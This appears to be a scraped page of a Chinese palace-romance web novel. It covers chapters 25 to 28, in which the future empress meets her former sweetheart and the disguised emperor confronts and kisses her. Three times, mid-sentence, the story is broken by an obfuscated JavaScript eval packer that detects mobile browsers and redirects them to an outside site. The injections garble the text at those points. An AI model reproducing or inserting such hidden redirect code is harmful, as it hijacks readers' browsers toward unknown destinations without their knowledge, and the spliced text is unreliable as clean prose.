高二姑娘册为安妃,要和中宫娘娘同日入宫。宫中要从简她的封仪,她却不肯低人太多,竟是自掏腰包给内廷力求装点雅贵并肩,且安妃将来要住的千熙宫竟也开始翻新! 自掏腰包的买卖,就连陛下都不曾说什么。 只是银子流入内廷,声势造起来,底下的宫人和内监们整日光龇牙咧嘴地念着安妃的恩德,早把中宫娘娘忘在脑后了! 大前日是沁阳县主的及笄礼,望京好些女眷上门庆贺,娘娘虽不曾入縡后廷,但礼数上不曾少,万姑姑亲自出马送了一份得体又大气的贺礼。 偏生她刚代娘娘送上贺礼,那头高家夫人上门捎带了高二姑娘的随礼,好璀璨夺目迷人眼的一套翡翠头面。 那沁阳县主是个心里没数的,一瞧见红盘上的翡翠首饰,直接伸手拿其中的鬓钗戴上,笑呵呵地冲着神情各异的诸位女眷展示起来。 宫还没入,两宫之间的斗争已在暗处上演起来。 今儿崔府送了随嫁,挑不出错却也没显出中宫娘娘该有的富庶气来,等将来出降,旁人打听到娘娘随嫁,又不知要起多少笑话。 崔雪朝没有挖穷娘家摆阔的心思。 当年偌大崔府被抄在意料之中,母亲提前藏了银票和田庄地契,后来为救父亲出狱花去大半,只剩京郊田产尚在。 西陵崔家的底蕴在剑南一道,望京高门之间崔家尚算新门阀。 她知道这一匣子的东西对于父亲来说已是尽力,并无不满,还把其中两间最富庶地段的铺子挑出来让人送到松柏院。 松柏院住着刚继过来的嗣子,崔梅越,今年刚满二十,尚未娶亲。给嗣弟和给崔家并无差别。 东西送过去没多久,门下回禀说梅越少爷来给娘娘谢恩了。 二十年岁的郎君正是意气风发的好年岁,在内监引领下走来的青年步伐从容不迫,生得几分倜傥气却敛尽于怀,及至门下,撩袍跪下请安。 崔雪朝让他不必多礼,等他站起抬眼看过来,面露和善:“在松柏院住着习惯吗?” “劳娘娘记挂,松柏院雅致安静,弟弟住着很好。” 又问:“你双亲安置如何?” 崔梅越面怀感激:“父亲的腿疾是陈年旧疴,须得静养。母亲说剑南老家气候温润,待暑期过了,她们二人想归乡安度晚年。” 其实大家都明白,什么安度晚年,不过是那老两口留在望京,让崔举这名头上的嗣父如何自处? 嗣子乃是崔梅越自己争来的,想必这等安排也在预料之中。 崔雪朝说也好,提及两间铺子:“崔家旧时经历过难关,如今翻身一切尚须重新开始,那两间铺子搁在你名下,将来聘媳或是官场行走你不至于太紧张。” 这是真心实意的话,崔梅越心头微暖,另提起一事:“前些时候太学学正找我问过话,话语间提及科考一事...” 听他语气停顿,崔雪朝:“可有不妥?” 崔梅越:“不是不妥,只是学正话风有些奇怪。” 他往左右看看,因着是家里人说话,只亲近的宫人伺候,于是直言:“总感觉在提点我某些述论偏重。娘娘,我虽落榜过一次,但从没想过靠娘娘的关系提前得悉考卷内容,不知是......” “此事并非是我的意思。” 崔雪朝往万姑姑那儿递去一眼,万姑姑颔首示意往廊下而去,“不拘旁人说什么,你清受本心即可。陛下提前一年开恩科,本是为了濯选有才之辈,你若无才,我不会徇私为你占去其他士人的席位。” 如此,崔梅越放下心来。 他虽全力争来大宗嗣子的位置,并非为了取巧富贵,一为荣养双亲,二也是想有一个公平的机会,正大光明地实现男儿建功立业的志向。 困扰自己多日的烦恼消去,崔梅越又道:“再有几日就是三房娇娘堂妹的出阁吉日,届时娘娘可要去看热闹?” 有崔雪朝皇后定尊,崔家未出阁未娶妻的孩子立时大受欢迎。 光这一月,二房给两个堂兄定了亲事,三房的堂妹已要出阁。 “得空的话,我会去的。” 崔梅越笑了:“阿姐不知,娇娘堂妹的新郎官不是原先郑家的那个,换了,换成阖闾巷赵家的二公子了。” 这话引得刚回来的万姑姑咿了声,崔雪朝看她,万姑姑解释:“大前儿小人替娘娘给家中姑娘们赏绸缎,当时还听娇娘姑娘身边伺候的团儿说,她家主子给郑公子送信,结果被撕得粉碎哭得伤心呢。” 因不是亲姐妹,崔雪朝与堂姊妹们并不亲厚,只听说三房跟郑家的亲事是很早之前就定下的,迟迟不肯过大礼,为此三房的叔婶还与郑家置气呢。 于是看崔梅越,“你可知道内情?” 崔梅越点头,阿屏机灵地搬个小凳给少爷坐好,从长案下抱出一个小箩筐,一边给主子剥瓜子一边听趣事。 崔梅越娓娓道来:“三叔官只六品,且不是什么要紧的实吏肥差,郑家觉得娇娘将来未必能帮到家下公子,念及是当初两家老太爷定的亲,不肯撂脸提解除婚约,便一直扛着不请期。” “一拖拖了两年,那郑家公子是个风流人,常在望京风月场合厮混,一来二去被一个叫杜鹃的花客给迷上。后来不顾家里反对,花了重金把人给安置到外边养着。” “今朝阿姐封皇后,那郑家一下换了头脸,当天就寻到三叔家中,称早已算好吉日要娶娇娘过门。” “三叔说郑家门楣高,娇娘攀不上。话这般说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456172|168660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,实则也是泄愤外加不满郑公子行事。郑家一听,回去就把郑公子安置的外室发卖给了南边走商。” 好冗长让人恶心的烂抹布事儿。 崔雪朝拧了眉峰:“这般人家三叔还能让娇娘嫁进去?我既当了皇后,便是要给家中姊妹撑腰的,什么脏的臭的也配结亲?” 崔梅越道阿姐莫急,听我再说。 “三叔也是拿乔,娇娘拖至今岁已二十,与郑家的亲事人人皆知,真退了郑家公子,再寻一个也不容易。娇娘说那外室处置了,也同意出嫁。” “哪知前日大朝会,御史台的蒙大人参了郑家家主一本,说他治家不严,教子无方,竟无视新朝‘不许朝官狎妓’的法令穿着官服在花柳楼饮酒宿醉!” “陛下动怒,贬了郑家家主的官,从四品的鸿胪少卿成了从五品的六局奉御。听闻郑家公子不日就要迎娶皇后族妹,陛下当着百官面说倒丧气。下朝没多久就把十六卫赵大将军召进宫了。” 十六卫大将军赵柱兴? 崔雪朝心说这位将军跟着陛下南下平乱,是真真靠着铁血军功一步步走到正三品的忠臣。 “所以娇娘新郎官是这位赵将军的公子?” 崔梅越点头:“阿姐你不知道,赵将军的公子身任七品宣德郎,是那郑家公子从九品捐银得来的将仕郎,顶顶顶顶头上司!” 阿屏高兴地抚掌:“真解气!” 崔雪朝为这结局也很满意。 虽是借了外力,毕竟娇娘好好的姑娘不曾被磋磨给郑家那叻色。 “见了三叔三婶,就说是我的意思,娇娘来日出阁,我会亲自到场。”锦上添花,也省得赵家看不起三房的孩子。 崔梅越说道好,两下里说话又添了几分亲近,便起身告辞。 见他走了,万姑姑才开口:“娘娘可知,这位赵家公子不仅生得出众且参试过前朝的科考,曾是大同州府的解元郎。” 家世出众、品相上佳又兼前程似锦,如此公子虽眼下在从七品,但来日不愁进任。 “娇娘真是好福气。” 崔雪朝不由为族妹高兴。 万姑姑:“娘娘可知望京中哪一位姑娘对这位赵公子最青眼有加?” 崔雪朝这才正起神色:“莫不是赵公子已与旁的姑娘约定成婚?” “那倒不曾听说。” 万姑姑:“只听闻沁阳县主少时便对赵公子有情,赵公子持重有加不曾与之来往。” 崔雪朝怔了少许,见万姑姑笑意盈眼,意会到什么。 “只是及笄礼上的一支钗罢了.......” “沁阳县主当着诸多高门女眷给安妃抬举,无异是在打娘娘的脸。沁阳县主之举可视为年少无知,但她的母亲安怀郡主稳坐高堂不曾劝阻,此乃大不敬。” 半晌后,崔雪朝感慨:“是我的错。” 入縡内廷就是旋涡之中,她懒得相争反倒不妥。 万姑姑说:“娘娘莫担心,有陛下给您撑腰呢。” 半屈半就的一段姻缘,当皇帝的若是连这点回护的程度都做不到,真就有些可耻。 崔雪朝内心平静,以赞赏的心态高看某人一眼,并为不日而来的家中喜事做起准备。 很快到了正日 崔雪朝换上得体的衣裳出门,上车时顿了下,疑惑地看着身侧陌生的高个身影:“贺功今日不当值吗?” “回娘娘话,贺大人轮旬。小人袁凌泽今日为娘娘护驾。” 护卫着一身玄铁明光甲,兽面兜鍪,腰上挎着埋鞘横刀,站直身时夭矫不群,有种非同一般的况味。 论起不一般,崔雪朝扫眼兜住他下张面的黑铁罩,放眼望去,今日护卫皆是如此打扮,按下心头涌起的怪异感。 “有劳。” 客气一声,撑住阿屏的手坐上马车,车帘落下之际见这位袁氏护卫轻驱马腹,随着马背摇曳起的身姿莫名透出一点愉快的错觉。 26. 第 26 章 三房的院落与自家隔两条巷子,车马过去不过一盏茶的功夫。 烈阳在上,三房为招待今日上门的帖客,在家门口的大长街上搭起凉棚,家仆与婢子穿梭其间,满脸喜庆地招呼着人。 三房官职不高,下帖宴请的不过是族中亲眷和官场上的人情。 虽有皇后娘娘亲临,但也不好太过明目张胆地讨好,有心之人不到,但贺礼必得送达。 三房婶娘自晨起便盛装等在厅间,眼观六路耳听八方,与各家上门的女眷过场面,又吩咐下人仔细伺候贵客。 上晌午,家下花重金请来的花腔戏也咿咿呀呀地开场了。 得闲下来,门上的跑着回禀,说皇后娘娘的车驾快到巷子口了。 三房的人立时严阵以待,收拾衣衫整理鬓发,一等内监高喏,神情恭敬地跪下众呼给皇后娘娘请安。 崔雪朝自正门阶下坦坦而过,待得坐定,吩咐众人起吧。 三房婶娘拘谨之下透着三分讨好,“娘娘,迎亲典须得午后,家下请了望京有名的戏班子,请您点一出吧。” 吉利日子,自然要点郎情妾意幸福美满的,崔雪朝翻了下,择了一台《青衫婿》。主要讲小富之家一对儿女阴差阳错结为夫妻婚后甜蜜终老的故事。 戏班子得了令,不一会儿各色角儿粉墨登场。 “却道,好男儿一袭青衫,貌如玉.....” 因是人家嫁女的宴,不好喧宾夺主,崔雪朝点过一出戏后笑着跟三房婶娘说不必拘谨,“今日有客,三婶不必关照我,若有忙事,自去应对吧。” 得此话,三婶蹲个礼,下了高台直奔后院闺女的绣房。 亲生的闺女要出门,从往后就是别人家的妇,当娘的还有好些贴己话要说。 那道匆匆奔去的身影落在崔雪朝眼底,不由想到来日自己出阁。 戏台当啷一声,原是前幕唱完,娇娥女儿上台自陈。 “我本是青城山下一女子...可怜我~~母丧太早....幼有邻家哥哥为伴...” 啊,原是‘郎骑竹马来绕床弄青梅’的一段好缘。 “给娘娘请安。” 崔雪朝露出笑意,“您来了。” 辜夫人身边一高一矮,高的是见过的辜云缨,矮的看模样不及腿高,约莫五六岁,眼睛圆又亮,肉嘟嘟的小脸蛋挂着暑热的红,真是天真可爱。 “这是?” 辜夫人把那孩子往前带了下:“月儿,来给皇后娘娘拜安。” 可爱的小姑娘软乎乎地唤了声皇后娘娘好。 辜夫人:“这就是我上回跟娘娘提过的那孩子。” 崔雪朝反应过来,回头看一眼万姑姑,万姑姑从袖间掏出个荷包送到小姑娘手里,“明月姑娘,这是娘娘送给你的见面礼。” 孩子睁着大眼睛看向辜夫人,见她点头,腼腆地接下,这回声大了些,“谢谢娘娘。” 辜夫人领着两个孩子坐在下首的椅上,“郡主的身子弱,连带着这孩子在娘胎时没养好,五岁了还跟小猫崽似的。前些时候戏荷塘里的鱼时不小心中了暑气,今日好了,一听说我和云缨要出门,磨着非要跟来。” 嗔怪的语气,但辜夫人眼里的关爱做不到假,见小姑娘眼巴巴盯上了长案摆的荔枝,伸手慢慢剥着。 这时节荔枝不是稀罕物,尤其对于崔家来说。 剑南的产物顺着修缮好的江道一路溯上,到大渡口转运冰车,到望京时那外壳刚好发软成熟。 辜家与崔家交情深广,两家大宗在朝堂上互为臂膀,私底下姻亲盘起来也成树脉。 辜夫人:“三房的莲清非说三房只他们兄妹两个,怕赵家那将门虎势,婚后待娇娘不好。缠了云生好些时候,说娇娘小时候也唤云生一声阿兄,今日怎么也得做半个娘家阿哥来门上撑腰。” “左右云生今日休沐,不好白吃你三婶家的好席面。” 闻弦知意,辜夫人说这一大团,是在给她打预防。 午后赵家上门接亲,崔雪朝必然要去后院一趟,迟早得跟辜云生碰面,届时两相惹出什么眼神官司,落到有心人眼里只怕不妙。 “莲清自己文武不行,劳云生阿兄受累了。” 她接应一句。 辜夫人喂过孙女荔枝,擦去孩子唇边的汁水,说应该的。 彼此忖着合适再没开口,抬眼望向高台,见那姑娘一张红绿的面上尽是泪水,原是竹马另娶弃之不顾了。 怎么就点了这么一出? 崔雪朝抚抚鬓发,要去更衣。 下了高台,那泪人凄婉的唱腔听不真切,长长地舒口气。 “娘娘可是不舒服?” 突然炸响在耳边的一句话,吓得人心头狂跳,愣着眼撇过头,是今日换了贺功的侍卫,叫袁什么来着? 这人是何时站在自己身后的? “你说话前怎么不出声?” 侍卫如墨浓沉的眼死死盯着她的面容,“娘娘是在心虚吗?” “放肆!” 她甚少有疾言厉色的时候,淡如清荷的人瞬间恣意成一株娇艳的牡丹,越发让人挪不开眼。 侍卫不甘地憋口气,屈膝半跪在地:“皇后娘娘恕罪,是在下一时失言。” 暗恼的眼落在她高翘的凤头履上,最上面的那颗明珠在她裙裾褶上若隐若现,与那唱着被负了心的女子掩面而泣时竟有几分隐喻地相通。 “娘娘莫气,这侍卫言行冒犯,待今日卸值便黜免了他的官,交由贺大统领处置。” 崔雪朝抿唇,“今日若敢再犯,仔细你的脑袋。” 能进禁卫的人皆有来头,且此人从国姓袁,说不得是河东哪一支的小辈。 冷言警告过,再不多看,仆从领着贵客去了后院歇息,没一会儿端上精致的一桌饭食。 只是夏燥没什么胃口,随意扒了几口分给随伺的阿屏等人。 三房的院落并不宽敞,辟出来的客居胜在干净整洁。窗外紧邻一口湖塘,树梢蝉鸣阵阵还有呱呱蟆叫,吵得人心火大,硬闭着眼歇了两刻钟。 前院已有炸鞭的响声,想来是快到赵家迎亲的吉时。 出门沿着石径往前,才走没多久,径口突然绕出一道清隽的身影,崔雪朝怔然停住,才要开口,骤闻唰的一声寒声,那高大魁梧的禁卫竟然抽出雪亮的横刀大步跨前,将崔雪朝严严实实地堵在身后,厉声斥道:“来者何人?皇后娘娘在此,还不速速退下!!” 这一吼,真有山崩地裂的阵仗,崔雪朝只觉耳中嗡鸣,吃惊地仰头瞪着这个一心护主的侍卫。 未免太小题大做了吧? 再看一侧,万姑姑竟也是凛然,迷茫起来,难道又是她太不端着架子了? “尊下莫惊,在下乃是辜家大公子,并非歹人。”前方传来一道温文尔雅的声线。 “什么辜家娘家,你说不是歹人......” 两相对比,这禁卫好蛮横! “你先退下。” 崔雪朝道。 禁卫话音顿住,却没立刻退开,反倒脚步拧在石板上搓了好几下,最后闷哼着闪至一旁。 崔雪朝斜了禁卫一眼,可惜这人生得恁高,收刀在鞘依旧挎着刀把警惕怒视不远处清风悦和的官门子弟。 底下人无状,当主子的脸面不好看。 有外人在,暂未处置。 崔雪朝赔罪轻笑:“禁卫太过小心,还请云生阿兄莫要多怪。” 一声云生阿兄,便是泾渭分明的悬殊。 辜云生道职责所在。 而后沉默,竟两相无话,彼此睁着眼对看起来。 阔别太久,辜云生只念着见一面,却没想好要说什么。 思及二人最后一次见面是在八年前。 她站在辜家门外,恨他恨得咬牙切齿,骂他懦弱骂他负心汉不得好死,世间最恶毒最难听的话出自她口,他辩无可辩,连伸手为她擦拭眼泪的余地都没有,只能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15466134|168660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看她留下决绝的背影,从此消失在他的人生中。 最后有关于她的消息是自己大婚,他的妻主见他站了半宿不肯上榻,语调似蛇信滑过,“夫君放心,你的小青梅已经安然离京。” 来前母亲耳提面命说她如今身份不同,为了辜家,万不可与她见面! 阿娘说她现在过得很好,让他释怀吧。 又是为了辜家,他牺牲得难道还不够吗? 更何况,只是隔着十几步见一面而已。 崔雪朝看看他如今模样,与记忆中的昂扬太不一样。他还是爱穿青竹色的长衫,却不挺立了,有种枯槁的颓态,似乎郁结于心至今难以开怀。 嗳,年轻的时候,谁还没点经历? 她跟辜云生就像戏文中那样,是自小一块长大的青梅竹马,两家大人默契地认同了二人的亲事。 第一次与男子牵手是他。 第一次与男子秉烛夜游七夕,是他。 第一次怦然心动,颊容绯红,是因为他。 但第一次撕心裂肺,也给了他。 他其实有他的可怜,但太年轻的自己眼里只看清背叛。 所以她恨了他好久,有一次做梦梦到他,一刀子狠狠地扎进他的心肠,非要看那是黑的白的。 后来母亲告诉她,当年营救父亲辜家出过力,宫里的端秀公主也曾在末帝面前为父亲求过情。 于是,那点意难平就抹干净了。 轰轰烈烈的爱恨走一场,崔雪朝再见他时,已经能平静地唤他阿兄,平静地笑着。 看他凝望自己,眼眸一点点浮起泪意,可以心平气和地说:“月儿和你小时候长得一模一样。” 盈满眼眶的泪如雨下,辜云生哽塞难言,狼狈地转过身落荒而逃。 “哎呀,好没规矩的人!” 万姑姑气愤道,眼角余光观察着一旁的高大侍卫,觉得那儿站的不是个人,像座闷沉的火山。 “就是就是,娘娘又没说什么难听的话。” 不知内情的阿屏赞同道。 崔雪朝怔了一下,很快回过神。 她出生在一场雪后朝阳新起,那时两人约定,如将来有女,便起名‘月儿’。 奈何她是果决的个性,放下的人与事任其沉入记忆深处,不究最好。辜云生是她翻过的一页书,搁在桌脚不必复阅。 烊烊叹口气,一错眸,睨见那护卫又用那种辨不清是狠辣还是伤感的眼神在看自己,气不打一处来:“你瞪着本宫作什么?” 她还敢冲自己发脾气?! 私见外男,她还如此理直气壮地朝别人撒气?怎么?是方才自己退太慢,耽搁了她看野男人了吧?! 藏起行迹,一天伏低做小的侍卫乾元帝绷着牙,硬是护送她去了后院,护送她言笑晏晏地交际于女眷之间,护送她给族妹撑腰像模像样地规训赵家二公子。 回归喜腊院 袁望本看在她今日在外吃得不好歇也没歇好的面上,暂时不与她理论。 岂料区区禁卫犯了几处小错,竟能惹得皇后之尊记到现在?所以还是因为自己屡次因那辜什么的玩意开口,惹了她不如意了吧? “本宫让你跪下,你耳聋了吗!” 就见那高个头的禁卫不仅耳聋,而且突然发了狂!单手卸了腰上横刀甩到地上,发出当啷一声巨响,三两下抽解兜甲扔在廊下,长腿跨进门槛,肌健的胳膊慢且狠地阖上门扇。 “你......” 眼看万姑姑等人袖手旁观,浮在心头许久的疑云终于现出原形,愣怔地看着他逼近到自己身前,不由自主地往后避开。 只一步退,他右手猛地探前捞上崔雪朝的腰,不由分说地掰着她跨上他的。刹那失衡,她下意识抱紧他后颈,回过神来想退,扶在腿间的大掌惩罚地按住。 “用你的手。” 他狠厉的眼眸攫住她的不安,“取下朕面上的罩甲。好好看看,现在站在你面前的究竟是谁!” 27. 第 27 章 普天之下,谁人胆敢自称朕? 白如玉的指腹落在冰凉的罩甲边缘,似乎紧张,颤抖着摸索扣上的开关。她的腿像被两块烙铁烫在他劲瘦的腰间,心跳得飞快,一急,又莫名地不知在怕什么。 崔雪朝扣解不开,后背也生了好些汗,也不知依仗起他对自己的纵容还是旁的情感,总之气恼地一巴掌拍在他脸上,气咻咻挣扎道:“你放我下来!” 话音落地,整个人臊得要疯,她是怎么发出这样一声娇滴滴的话!莫不是晌午有人偷偷给她嗓子里灌了大青蛙? 心上人自是怠慢不得,这方寝居是何布置他了然于胸,于是信步走到紫薇窗棂边的矮榻,单膝跪地,恶狠狠又十分小心地让她坐定,却没退开,“娘娘何必心急,外边又没什么乱七八糟的人等着跟您说话,昼长着呢,朕等得起。” 他说这话时,那双如墨的眼眸执拗地同她对看着,方才发狂似的癫态殆尽,反而弥上暧昧的欲。 崔雪朝并不拢腿,小腿腹紧贴冰凉的榻沿,独属男性雄浑的气息侵略感十足,至少方才狠狠捏着自己大腿软肉的滚热手掌饶过,只是转移撑在自己双膝。 昂着头非要自己亲手帮他拆下兜甲的情态....跟个讨食的大犬。 轻吁口气,不紧张不紧张,眼眸专注于难解的卡扣,颦眉微蹙,凝神间,不由自主地凑近了些。 咔的一声清响 崔雪朝眼神微亮,“开了。” 蝉翼似的黑色罩甲轻轻揭开,是他如山如峦的面容,那山脊高处的眼也为她小小的成功之举泛起涟漪。 这么近,近到鼻息交融,有她清甜如蜜的荷合香,有他幽若潭古的冷凝气,崔雪朝茫然于眼前的处境,莫名怕什么人听见自己的话,呢喃道:“陛下,我帮您解开了。” 所以,能不能退开些,她快喘不上来气了! 袁望唔了下,不退反进,强装恼怒的语气平白听着很黏黏糊糊:“既见天颜,可知自己今日犯了什么错?” “......陛下恕罪,今日言行皆是无奈之举。” 一想,她狠狠地瞪过这人,呵斥过他,甚至刚才还叫他给自己跪下! 好大的死罪! 回忆起来,好似他已经给自己跪过。 “但,事出有因。” “什么因?那辜家大公子与你求而不成的青梅竹马情意嘛?” 气弱的崔雪朝从这句话中听出端倪,突然凛直腰板,偏过头不肯与他正眼相看。 “陛下此话好没道理。当日您求娶我,便该知晓我有晦往。若是介怀,便不该求娶。但您求娶,在我看来,应是对此有如海胸襟才对!” 袁望一怔,山不来就我,他便去就山,撑在她身侧,移目过去,“说话就说话,你发什么脾气?难不成我连拈酸吃醋的一分本钱都没有?” 这话叫崔雪朝无奈,只好缓缓神情。 然看他一眼,莫名还是有几分恼,想起他方才摔摔打打,一下有了清算过去的念头,“陛下能否说实话,当日我想做安勇侯侯夫人,您是不是跟魏侯爷曾说过,说我嫁过人,配不上侯夫人的身份?” 什么! 袁望慌了神,“这话从何处来?” “我是女子,和离之身,但我从未因自己有过一段错误的缘而觉得自己变得卑贱,这无关出身无关才貌品行!书中曾言,良禽择木而栖,我和离换一种活法难道犯了哪条律令?” 她是用正经到不能再正经的语气,郑重其事的开口。 袁望彷徨一瞬,明白是他一意孤行立她为后,给她平静的生活带了诸多难听非议。 愧疚之下,越发切切:“我发誓,绝不会因为你从前而轻视你,看低你,更不会为此而迁怒于你。” 崔雪朝审判过他的表情,不似作假,这才作罢。 袁望看了看两人之间仅有的几拳距离,越发做小,“但今日那辜家大公子好没道理,若是想与你见面说话,为何不叫人通传,正大光明地约道茶?是他好没道理的冲出来,又没头脑的流了两股迎风泪,所以我才发脾气的。” 崔雪朝顿了顿,“他...他应该不是故意的。” 与辜云生的往事,其实不用费什么功夫就能打听到,她不信手眼通天的乾元帝会不知道两人其实早已泾渭分明。 “或许是碰巧吧。”她敷衍道。 碰哪门子的巧? 那时辰赵家迎亲的人都快到巷子口了,辜某人合该跟着三房的人去前门堵亲。偏他不去,趁着那时后院人少,杵在道上想跟他的皇后见一面。 见一面做什么? 自己和宫人内监再稍松懈下,是不是辜大那恶棍仗着阿朝心软不设防,做出什么悔得肠子都青的表情,然后勾得阿朝对他同情? 这是什么行径?分明是离间帝后恩爱的阴私手段! 说起来,这辜家大公子莫不是收了高家的银钱? 天热了,臣僚们倦政,他这个皇帝最近是不是杀人杀少了? 思绪飞转,神情却是恳切,“三房院落太大,想来是辜大公子走迷路了吧。” “.......” 崔雪朝微哽,注意到他神情中的沮丧与低落,心里不好受。 他是至尊的天子,专门换了侍卫的衣裳来做她的近卫,自己没有领情不说,一味地借题发挥。 抿了抿唇,伸手在他袖口揩了下,他疑惑地看自己,崔雪朝甩甩手:“这衣裳不好,有个线头。” 袁望没瞧见线头,但心如福至,“这件轻衫穿得太久,袖口都磨得发毛了。你近日可有空,能帮我制一件新衫吗?” 这是缓和的台阶。 崔雪朝颔首说好,“只是我的针线一般不如针线局的宫人,到时陛下别嫌弃。” 袁望嗳了声,得了她的承诺,胆子更大些,粗粝的手指抚顺她鬓边被自己弄乱的发丝,明明他这么强盛的魂魄却被几根细弱的发丝给缠得死死的:“端午后,御史台好些坏人参本,说朕九五之尊不该太过亲民随意降眠崔家,免得天颜有损。” “今日本不该来,只是好些日子不见你,听宫人回禀说你被高家欺负,气得我好几夜睡不着,这才换了侍卫衣裳才见你。” 解释过前因,又问她:“方才我脱衣裳,是不是声音太大吓着你了?” 其实自己哪有他口中说得那般胆小。 从万姑姑避到廊下的瞬间,就已然猜到他的身份。 崔雪朝往窗外瞥去一眼,见宫人等避得远远的,说自己无碍,“只是往后不要再做这样的事情了。” 掐指一算,“再有半月就是六月初六。” 原来不是单相思,她也很急切地想跟自己成婚,然后朝夕相对夫妻相濡以沫吧。 说到相濡以沫... 袁望:“袁凌泽,凌泽是我的小字。” “涣呵其若凌泽...”崔雪朝眨眨眼,“取自《道德经》,是袁公给你取的吗?” 袁望说是,盘腿坐在她膝下,眼神温柔问她的小字是什么。 “汀溪,是南下途中,母亲为我起的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473274|168660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 崔雪朝:“汀溪兰香,风住竹林,日出汀洲。” “人生如茶,沉时坦然,浮时淡然,拿得起,放得下。” 袁望握上她的手腕摩挲着:“崔夫人之爱让我真羡慕。” 又问她:“你说,我这婿子,你母亲会喜欢吗?” 崔雪朝从来没想过这个,摇了摇头说不知道。 直心眼的姑娘不会哄弄男人。 袁望又欣慰又不甘:“想必崔夫人很看好辜家大公子吧!” 他怎么又重提? 崔雪朝却以新奇的视角看着他的眉眼,从高不可攀的君到不可脱俗有男女之欲的男人,到今日,他又成了泛起朝气的莽直郎君,“究竟我要如何说,才能让你不再提那个人呢?” 袁望调整下神情,不叫自己太过急切了,却不知巴巴探前的脖颈透露他急不可耐的口欲:“汀溪,你亲我一口吧。” “只亲一下就行?” 她很怀疑他的大胃口。 “那...多几下也不是不行。”说得像是委屈了他。 崔雪朝谨慎地望一眼窗外,在他期盼的眼神下,吧唧亲在他脸上。 “好了吧。” 太羞了,耳后像被烫一样。偏开眼瞧见小几上有个食盒,最顶上是从望京有名铺子买回来的糖稞块,随意捻了一枚杏子的塞到嘴里,故作淡定地嚼着,就是不肯看他的反应。 过半晌,还不曾听到他有响动,终于按捺不住,也就是在她垂目的瞬间,盘坐在地上的人突然撑起上身。 唇上一痛,崔雪朝被他环抱着仰到榻上,她的掌心贴在他胸口能感受到飞快的跳动,唇舌亦如是,像个蛮牛嚼牡丹...嚼杏肉稞果,抢到自己嘴里,又像是突然意识到不该夺人唇中物,舌尖顶还来,诱开城门刮舔她,吸吮。 太深的交情,让崔雪朝难以承受。 她忍让到咽下最后一口果肉,按到他肩头,很想狠狠地把他搡开,身上人却机敏地往后微微撤开。 微红的眼底还有未曾满足的念头,眼神是试探的,轻轻贴了下,是不确定的触碰。 唇瓣温热,依稀还有点甜滋滋,崔雪朝在他又一次靠近时扭开脸,嘴角绷成一条直线,明明白白地拒绝。 意料之中的停顿。 他喘重的鼻息一点点挪至颈侧、耳畔,留下涩麻的奇痒,听见他含糊地咕哝了一句:“...别躲。” 她咽了下喉,睫羽低垂在眼下投下一小片暗色,半晌后,恼羞成怒地红着脸嗔他轻点:“你究竟会不会呀?” ...... 夕阳西下,姑娘的侧颜比天际的晚霞还要坨红如胭。 兜甲的唇有些肿胀的痛麻,心里却是快活的。 袁望翻身上马,目光尽处,二道门那里随风摆动起一角绯红的裙衣。 耳畔回响起情难自禁时她喉间滚出的一声啊,眸色越浓,越期待与她来日大婚的契合不分。 “走了。” 他微扬声线,知道门内的她听得见,于是扬策马鞭。 如雷蹄声转瞬消失,崔雪朝鼓鼓脸颊,在阿屏好奇的眼神下淡定地抬起轻扇遮住半面,“回吧。” 阿屏说是,跟着走了一小段,还是没忍住,“皇后娘娘,陛下功夫如何?伺候得您舒服吗?”秦妈妈说了,万事得以娘娘为先,她们这些下人只管娘娘开心不开心。 万姑姑咳出一连串闷音,妄图压住阿屏的声音。 崔雪朝脚步加快,到最后几乎是跑着甩掉身后的一群宫人! 28. 第 28 章 临近婚期,崔雪朝的宫礼学得差不多了,礼部遣派来的嬷嬷最后确认一次流程,规矩地拜别:“娘娘行慎,样样照着礼数,小人再无旁的要教。” “辛劳嬷嬷。” 示意万姑姑打赏,等人下廊离去,避到寝居更换袆衣大冠。 六月晌夏,家下的蒙顶石花开得旺盛,秦妈妈晒制了些,最鲜嫩的挑选出来灌以面浆水煮沸盛出,拌上酥乳和碧梨鲜,清爽又饱腹。 廊下大树支起秋千架,跟前有高蓬帐顶,池塘边的凉风透纱拂面,一边吃着欢食一边遐闲地听阿屏和宫人们说着三房娇娘回门那日的趣事。 正说起娇娘下马车,是被赵家二公子掐腰抱下时,府下管家阿伯进来回话。 管家阿伯:“那物件小人亲眼看过,的确是大姑娘当年及笄礼时,夫人亲手簪佩的白玉兰花样,就连中间那朵上的裂痕,小人也都核验过。只是...” “只是那东西流进了不体面的场合,在春花秋月的一琴娘手中。小人几番提价,昨日提至百两金,那人不识抬举,说宁肯砸碎听个响儿高兴,也绝不会卖!” 